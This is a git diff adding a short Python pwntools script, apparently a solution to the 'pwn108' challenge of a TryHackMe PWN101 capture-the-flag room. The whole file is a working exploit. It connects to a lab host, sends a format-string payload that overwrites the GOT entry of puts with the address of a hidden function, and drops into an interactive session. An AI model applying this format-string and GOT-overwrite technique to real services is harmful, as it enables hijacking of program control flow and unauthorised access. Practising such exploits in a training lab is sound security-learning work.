diff --git a/thm_pwn101/pwn108/a.py b/thm_pwn101/pwn108/a.py
new file mode 100644
index 0000000..4eb9c13
--- /dev/null
+++ b/thm_pwn101/pwn108/a.py
@@ -0,0 +1,17 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+context.binary = target = ELF("./pwn108", checksec=False)
+# r = process()
+r = remote("10.10.74.244", 9008)
+
+# funcs
+s = lambda a: r.sendafter(b": ", a)
+
+# buf
+s(b"a")
+fs = fmtstr_payload(10, {target.got.puts:target.sym.holidays})
+s(fs)
+
+r.interactive()
\ No newline at end of file